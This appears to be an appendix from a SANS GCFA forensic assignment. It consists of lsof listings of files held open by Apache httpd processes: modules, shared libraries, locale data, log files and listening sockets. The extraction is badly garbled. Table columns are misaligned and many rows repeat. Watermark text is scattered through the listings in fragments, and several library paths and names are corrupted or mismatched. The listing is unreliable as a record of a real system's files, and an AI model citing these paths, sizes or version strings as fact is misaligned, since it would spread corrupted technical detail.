</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>53189</td>
<td>229520</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8770</td>
<td>229509</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>6924</td>
<td>229520</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8770</td>
<td>229509</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>10034</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>6924</td>
<td>229520</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19370</td>
<td>8770</td>
<td>229509</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment –v1.4

fu
ll r
igh

httpd
19371
root mem
REG
3,2
65
130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd
19371
root mem
REG
3,2
161
130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd
19371
root mem
REG
3,2
83
130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd
19371
root mem
REG
3,2
40
130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd
19371
root mem
REG
3,2
58
179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd
19371
root mem
REG
3,2
292
130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd
19371
root mem
REG
3,2
22592
130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd
19371
root mem
REG
3,5
89424
63507
httpd
19371
root mem
REG
3,2 1561021
229551
httpd
19371
root mem
REG
3,5
35340
63567
httpd
19371
root mem
REG
3,2
28138
66033
httpd
19371
root mem
REG
3,2
5300
66039
httpd
19371
root mem
REG
3,2 426442
65304
2.10.0.so
httpd
19371
root mem
REG
3,2 131560
65396
httpd
19371
root mem
REG
3,2
59778
65358
httpd
19371
root mem
REG
3,2 146819
66089
httpd
19371
root mem
REG
3,5 924879
63562
httpd
19371
root mem
REG
3,5 207008
63563
httpd
19371
root mem
REG
3,5
68925
63535
httpd
19371
root mem
REG
3,2 153026
66042
httpd
19371
root mem
REG
3,2 290511
65311
httpd
19371
root mem
REG
3,2 215482
65386
httpd
19371
root mem
REG
3,2 196866
66287
httpd
19371
root mem
REG
3,2 717774
65410
httpd
19371
root mem
REG
3,2
66646
65263
httpd
19371
root mem
REG
3,2 189626
65384
httpd
19371
root mem
REG
3,2 295833
65382
httpd
19371
root mem
REG
3,2 140418
65389
httpd
19371
root mem
REG
3,2
79725
440048
/usr/kerberos/lib/libk5crypto.so.3.0
httpd
19371
root mem
REG
3,2
42069
425002
httpd
19371
root mem
REG
3,2
44992
65349
httpd
19371
root mem
REG
3,5
45415
63523
httpd
19371
root mem
REG
3,2
2457
130317
/usr/lib/locale/en_US.iso885915/LC_TIME
httpd
19371
root mem
REG
3,2
60
130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd
19371
root mem
REG
3,2 173680
130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd
19371
root mem
REG
3,2 1264225
229530
httpd
19371
root mem
REG
3,2 427611
440053
httpd
19371
root mem
REG
3,2 191615
65351
httpd
19371
root mem
REG
3,2
48583
65345
httpd
19371
root mem
REG
3,5
46117
63531
httpd
19371
root mem
REG
3,5 1401027
73730
httpd
19371
root
0r
CHR
1,3
9637
httpd
19371
root
1w
CHR
1,3
9637
httpd
19371
root
2w
REG
3,6
1729
44202
httpd
19371
root
3u
REG
3,6
0
38183
httpd
19371
root
4u
REG
3,5
0
26691
(deleted)
httpd
19371
root
5u
REG
3,5
8192
26693
httpd
19371
root
15w
REG
3,6
1729
44202
httpd
19371
root
16u IPv4
361623
TCP
httpd
19371
root
17u IPv4
361624
TCP
httpd
19371
root
18w
REG
3,6
265
44201
httpd
19371
root
19w
REG
3,6
0
44198
httpd
19372
root cwd
DIR
3,5
1024
2
httpd
19372
root rtd
DIR
3,5
1024
2
httpd
19372
root txt
REG
3,2 290169
131802
httpd
19372
root mem
REG
3,5
89547
63490
httpd
19372
root mem
REG
3,2
9883
229527
httpd
19372
root mem
REG
3,2
8301
229506

ts.

Page 161

/lib/libnsl-2.2.5.so
/usr/lib/apache/libphp4.so
/lib/libpam.so.0.75
/usr/lib/libltdl.so.3.1.0
/usr/lib/libpspell-modules.so.1.0.1
/usr/lib/libstdc++-3-libc6.2-2-

04

,A

ut

ho

rr

eta
i

ns

/usr/lib/libpng.so.2.1.0.12
/usr/lib/libz.so.1.1.3
/usr/lib/libcurl.so.2.0.2
/lib/libcrypto.so.0.9.6b
/lib/libssl.so.0.9.6b
/lib/libresolv-2.2.5.so
/usr/lib/libpspell.so.4.0.3
/usr/lib/libncurses.so.5.2
/usr/lib/libgmp.so.3.2.1
/usr/lib/libgd.so.1.8.4
/usr/lib/libxml2.so.2.4.19
/usr/lib/libbz2.so.1.0.2
/usr/lib/libttf.so.2.3.0
/usr/lib/libfreetype.so.6.3.0
/usr/lib/libjpeg.so.62.0.0

/lib/libnss_files-2.2.5.so

©

SA

NS

In

sti

tu

te

20

/usr/lib/php4/ldap.so
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5
06E4 A169 4E46
/usr/lib/liblber.so.2.0.15

© SANS Institute 2004,

/usr/lib/apache/libperl.so
/usr/kerberos/lib/libkrb5.so.3.1
/usr/lib/libldap.so.2.0.15
/usr/lib/libsasl.so.7.1.8
/lib/libnss_nisplus-2.2.5.so
/lib/i686/libc-2.2.5.so
/dev/null
/dev/null
/var/log/httpd/error_log
/var/run/httpd.mm.8124.sem
/tmp/session_mm_apache0.sem
/tmp/session_mm_apache0.sem
/var/log/httpd/error_log
*:https (LISTEN)
*:http (LISTEN)
/var/log/httpd/access_log
/var/log/httpd/ssl_request_log
/
/
/usr/sbin/httpd
/lib/ld-2.2.5.so
/usr/lib/apache/mod_vhost_alias.so
/usr/lib/apache/mod_env.so

As part of GIAC practical repository.

Author retains full rights.


<table>
<thead>
<tr>
<th>Path</th>
<th>Owner</th>
<th>Mode</th>
<th>Size</th>
<th>Link Size</th>
<th>Permissions</th>
</tr>
</thead>
<tbody>
<tr>
<td>/lib/i686/libpthread</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>3171</td>
</tr>
<tr>
<td>/lib/libpthread</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>101902</td>
</tr>
<tr>
<td>/lib/i686/libpthread</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173359</td>
</tr>
<tr>
<td>/lib/libpthread</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>32682</td>
</tr>
<tr>
<td>/lib/libpthread</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>655224</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>147375</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_config.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_mine.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>229515</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>229505</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17936</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28136</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122917</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>144940</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7720</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10334</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_dir.so</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11174</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>59778</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>146819</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>207008</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>68925</td>
</tr>
</tbody>
</table>
httpd 19373 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19373 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19373 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_anon.so
httpd 19373 root mem REG 3,2 9000 229508 /usr/lib/apache/mod_auth_db.so
httpd 19373 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19373 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19373 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_db.so
httpd 19373 root mem REG 3,2 161568 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 19373 root mem REG 3,2 11982 440043 /usr/kerberos/lib/libcom_err.so.3.0
httpd 19373 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19373 root mem REG 3,2 153026 66042 /usr/lib/libpspell.so.4.0.3
httpd 19373 root mem REG 3,2 215482 65389 /usr/lib/libgmp.so.3.2.1
httpd 19373 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19373 root mem REG 3,2 48583 65345 /usr/lib/libsasl.so.7.1.8
httpd 19373 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libcrypto.so.3.0
httpd 19373 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19373 root mem REG 3,2 44992 65349 /usr/lib/libldap.so.2.0.15
httpd 19373 root mem REG 3,2 45415 65323 /usr/lib/libnss_files.so.2.2.5.so
httpd 19373 root mem REG 3,2 191615 65351 /usr/lib/libidap.so.2.0.15
httpd 19373 root mem REG 3,2 2457 130317 /usr/lib/libc.so.2.2.5
httpd 19373 root mem REG 3,2 427611 440053 /usr/lib/kerberos/lib/libk5crypto.so.3.1
httpd 19373 root mem REG 3,2 1264225 229350 /usr/lib/apache/mod_perl.so
httpd 19373 root mem REG 3,2 427611 440053 /usr/lib/kerberos/lib/libk5crypto.so.3.1
httpd 19373 root mem REG 3,2 124519 440053 /usr/lib/kerberos/lib/libk5crypto.so.3.1
httpd 19373 root mem REG 3,2 427611 440053 /usr/lib/kerberos/lib/libk5crypto.so.3.1
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>PID</th>
<th>Username</th>
<th>Command Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>19373</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REG</td>
<td>3,6</td>
<td></td>
<td>httpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1w CHR 1,3</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4  Page 168

httpd 19375 root mem REG 3,2 79725 440048
/usr/kerberos/lib/1ibk5crypto.so.3.0
httpd 19375 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19375 root mem REG 3,2 44992 65349 /usr/lib/1ibbbieo.so.2.0.15
httpd 19375 root mem REG 3,5 45415 63532 /lib/libnss_files-2.2.5.so
httpd 19375 root mem REG 3,2 2457 130317
/usr/lib/locale/en_US.iso885915/LC_TIME
httpd 19375 root mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 19375 root mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19375 root mem REG 3,2 126422 229530 /usr/lib/apache/libperl.so
httpd 19375 root mem REG 3,2 191615 65351 /usr/lib/libdap.so.2.0.15
httpd 19375 root mem REG 3,2 48583 65345 /usr/lib/libbasasl.so.7.1.8
httpd 19375 root mem REG 3,5 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 19375 root mem REG 3,5 1401027 73730 /lib/libssl.so.2.2.5.so
httpd 19375 root 0r CHR 1,3 9637 /dev/null
httpd 19375 root 1w CHR 1,3 9673 /dev/null
httpd 19375 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 19375 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.so
(deleted)
httpd 19375 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 19375 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 19375 root 17u IPv4 361624 TCP *:https (LISTEN)
httpd 19375 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19375 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 19376 root cwd DIR 3,5 1024 2 /
httpd 19376 root rttd DIR 3,5 1024 2 /
httpd 19376 root txt REG 3,2 290169 131802 /tmp/session_mm_apache0.so
httpd 19376 root mem REG 3,5 89547 63490 /lib/dl-2.2.5.so
httpd 19376 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19376 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19376 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_config.so
httpd 19376 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19376 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19376 root mem REG 3,2 6274 229505 /usr/lib/apache/mod_dir.so
httpd 19376 root mem REG 3,2 371 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 19376 root mem REG 3,5 101902 73734 /lib/i686/libthread-0.9.so
httpd 19376 root mem REG 3,5 173359 73732 /lib/i686/libitm-2.2.5.so
httpd 19376 root mem REG 3,2 23575 65301 /lib/libcrypt-2.2.5.so
httpd 19376 root mem REG 3,2 30282 65273 /lib/libgdbm.so.2.0.0
httpd 19376 root mem REG 3,5 655224 65345 /lib/libdbd-3.3.so
httpd 19376 root mem REG 3,2 19662 66292 /lib/libmm.so.11.0.23
httpd 19376 root mem REG 3,2 141735 65380 /lib/libexpat.so.0.1.0
httpd 19376 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
httpd 19376 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19376 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 19376 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19376 root mem REG 3,2 19559 229512 /usr/lib/apache/mod_info.so
httpd 19376 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
